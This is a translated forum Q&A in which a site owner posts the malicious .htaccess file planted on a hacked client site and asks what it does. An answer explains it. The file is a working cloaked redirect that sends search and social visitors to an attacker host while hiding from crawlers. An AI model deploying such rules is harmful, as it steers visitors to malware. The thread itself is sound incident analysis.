.htaccess - 客户端站点的 htaccess 被黑 - 不完全确定这会做什么或从这里做什么

Question

我们的一个客户网站已被黑客攻击，.htaccess 文件被以下内容替换。

谁能准确地解释一下这是在做什么吗？

据我所知，它似乎正在获取推荐页面，然后是用户代理，它会设置一个名为 jpg 的 cookie，然后将您重定向到 siknsty.malicioussite.com，然后该网站会尝试下载一些恶意软件，然后再将您推荐回原始页面引用站点(因此您的路径是 Google > 恶意软件页面 > Google)

如果设置了 jpg cookie，它不会将您引向任何地方，因为它假定您已经下载了恶意软件。 (这可能是错误的 - 我认为它应该让您引用下面列出的重定向页面)。

我不确定其余部分，或者它是否使用 .htaccess 将 zip 文件屏蔽为 jpg(我想我没看错)...

有人有什么想法吗？

另外，你知道它是如何在服务器上产生的吗？所有权限都设置为 0644，并且在同一帐户下的 Windows 和 Linux 服务器上都发生过这种情况。

周三早上真是太糟糕了。

哦，不要去那个网站。

<IfModule prefork.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?        (tweet|twit|linkedin|instagram|facebook\.|myspace\.|bebo\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(hi5\.|blogspot\.|friendfeed\.|friendster\.|google\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(yahoo\.|bing\.|msn\.|ask\.|excite\.|altavista\.|netscape\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.).*$ [NC,OR]
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(lycos\.|metacrawler\.|mail\.|pinterest|instagram).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(imgres).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|macDN|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png|.*jpeg|.*mpg|.*avi|.*zip|.*gz|.*tar|.*ico$ [NC]
RewriteCond %{REMOTE_ADDR}      !^66\.249.*$ [NC]
RewriteCond %{REMOTE_ADDR}      !^74\.125.*$ [NC]
RewriteCond %{HTTP_COOKIE}      !^.*Jpg.*$ [NC]
RewriteCond %{HTTP_USER_AGENT}  .*(Windows|Macintosh|iPad|iPhone|iPod|Android).* [NC]
RewriteCond %{HTTPS}        ^off$
RewriteRule .* - [E=Jpg:%{TIME_SEC}]
RewriteRule .* - [E=HjT:siknsty.autoeventregistration.com]

RewriteCond %{ENV:Jpg} 0
RewriteRule ^.* http://%{ENV:HjT}/lg.php?bannerid=2168&campaignid=1049&zoneid=54&loc=1&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=3dc202f6d9  [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:9516:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 1
RewriteRule ^.* http://%{ENV:HjT}/www/app_full_proxy.php?app=275724075798066&v=1&size=z&cksum=e086bd606215518aed83711368bbecf5&src=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:11607:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 2
RewriteRule ^.* http://%{ENV:HjT}/__utm.gif?utmwv=5.3.3&utms=10&utmn=620248474&utmhn=malang.olx.co.id&utme=8(2!entryPage)9(2!jobs/staticsearch/190\%3Fsearchbox\%3Dretailer\%26section\%3Dst-190)11(2!1)&utmcs=UTF-8&utmsr=1024x768&utmvp=1024x638&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=10.3\%20r181&utmdt=Gambar\%20MAZDA\%20MR\%20TAHUN\%201992.\%20BIRU\%20-\%20Malang\%20-\%20Mobil&utmhid=312516024&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=vehicles/itemimages/withImg/0&utmac=UA-1240664-1&utmcc=__utma\%3D209359949.1036501994.1340939688.1340939688.1340955051.2\%3B\%2B__utmz\%3D209359949.1340955051.2.2.utmcsr\%3Dgoogle\%7Cutmccn\%3D(organic)\%7Cutmcmd\%3Dorganic\%7Cutmctr\%3Dgambar\%2520mobil\%2520mazda\%2520th\%25201992\%3B&utmu=ujGgAAAAIAAAAAAAAAAAAAB~  [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:9398:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 3
RewriteRule ^.* http://%{ENV:HjT}/_xhr/ugccomments/?method=get_context_uuid&context_id=8064b73e-890d-3876-9ce5-c5f7c98574aa&0.2617028157370842&baseurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:9127:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 4
RewriteRule ^.* http://%{ENV:HjT}/ping?h=thefrisky.com&p=/photos/357-12-stars-who-regret-having-plastic-surgery/lisa-rinna-lips-m-jpg-2/&u=i5r1cquurwfzcui1&d=thefrisky.com&g=25328&n=1&f=1&c=0&x=114&y=1865&w=638&j=45&R=1&W=0&I=0&E=0&v=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&b=4187&t=72n4jkji2m79sf6m&V=6&D=nygdmayh2yyvp9w3&i=12\%20Stars\%20Who\%20Regret\%20Having\%20Plastic\%20Surgery\%20Lisa\%20Rinna\%20\%E2\%80\%93\%20The\%20Frisky&_  [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:11948:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 5
RewriteRule ^.* http://%{ENV:HjT}/__utm.gif?utmwv=5.3.2&utms=3&utmn=490784565&utmhn=www.wego.co.id&utme=8(2!Hotels*Google\%20search\%20position)9(2!Details\%20Overview*5)&utmcs=UTF-8&utmsr=1024x768&utmvp=1007x612&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=11.2\%20r202&utmdt=Aston\%20Cengkareng\%20City\%20Hotel\%20\%26\%20Conference\%20Center\%2C\%20Jakarta\%20-\%20Bandingkan\%20tarif\%20kamar\%20-\%20Wego.co.id&utmhid=1324439502&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/hotel/indonesia/jakarta/aston-cengkareng-city-hotel-and-conference-center--133090&utmac=UA-29994605-1&utmcc=__utma\%3D1.786375144.1340094774.1340094774.1340094774.1\%3B\%2B__utmz\%3D1.1340094774.1.1.utmcsr\%3Dgoogle\%7Cutmccn\%3D(organic)\%7Cutmcmd\%3Dorganic\%7Cutmctr\%3Dstandard\%2520superior\%2520twin\%2520room\%2520aston\%2520hotel\%3B&utmu=qzGggCAAAAAAAAAAAAAAAAB~  [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:10955:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 6
RewriteRule ^.* http://%{ENV:HjT}/delivery/lg.php?bannerid=30550&campaignid=4402&zoneid=1917&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=dbd1f7d293  [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:9621:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 7
RewriteRule ^.* http://%{ENV:HjT}/api/getCount2.php?cb=stButtons.processCB&refDomain=www.mangahere.com&refQuery=manga/fly_high/v03/c013/37.html&pgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&pubKey=e47efe7d-147b-4731-ac42-9838ccdc52f2&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:10798:/:0:HttpOnly]
RewriteCond %{ENV:Jpg} 8
RewriteRule ^.* http://%{ENV:HjT}/pingjs/?k=f6ckilz7r2ss&t=Komik\%20Fairy\%20Tail\%20\%7C\%20Chapter\%20288\%20289\%20Hal\%2016\%20-\%20Baca\%20Manga\%20Bahasa\%20Indonesia\%20Online&c=s&y=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&a=-1&r=978836  [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:11234:/:0:HttpOnly]
<!-- Conditions 10 - 58 removed to post on stackoverflow -->
RewriteCond %{ENV:Jpg} 59
RewriteRule ^.* http://%{ENV:HjT}/delivery/lg.php?bannerid=31662&campaignid=2&zoneid=1884&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=af167e7f1f  [R=302,NE,L,CO=Jpg:%{ENV:Jpg}:%{HTTP_HOST}:9285:/:0:HttpOnly]

</IfModule>
#a77342b1677255ef6afc9a0dbec166f633c2b44166559458c71fb4e7

Answer 1

它根据时间的秒数随机选择一个重定向。这就是为什么它们从 0 到 59。

我认为你是对的，它设置了一个cookie，这样它就不会再对同一个受害者做同样的事情。

第一组规则正在做一些事情，例如消除所有请求以 .jpg、.zip 等结尾的文件的人，可能是为了确保有人在重定向之前实际查看浏览器。 UserAgent 也是排除项(请注意每行开头的 !) - 各种网络蜘蛛以及一些它不感兴趣或无法感染的操作系统和客户端。它还要求用户代理包含以下之一

Windows|Macintosh|iPad|iPhone|iPod|Android

推荐人是一长串流行网站和搜索引擎的名称之一。这可能再次是为了确保浏览器背后有人在通过垃圾邮件获得报酬，或者可能与使用您的网站进行点击农业等事件有关。

有趣的是它忽略的 IP block 列表:

RewriteCond %{REMOTE_ADDR}      !^66\.249.*$ [NC]
RewriteCond %{REMOTE_ADDR}      !^74\.125.*$ [NC]

这些可能包括网站的地址，以便网站所有者(可能)不会注意到损坏，或者它可能会为您提供有关攻击者所在国家/地区的线索。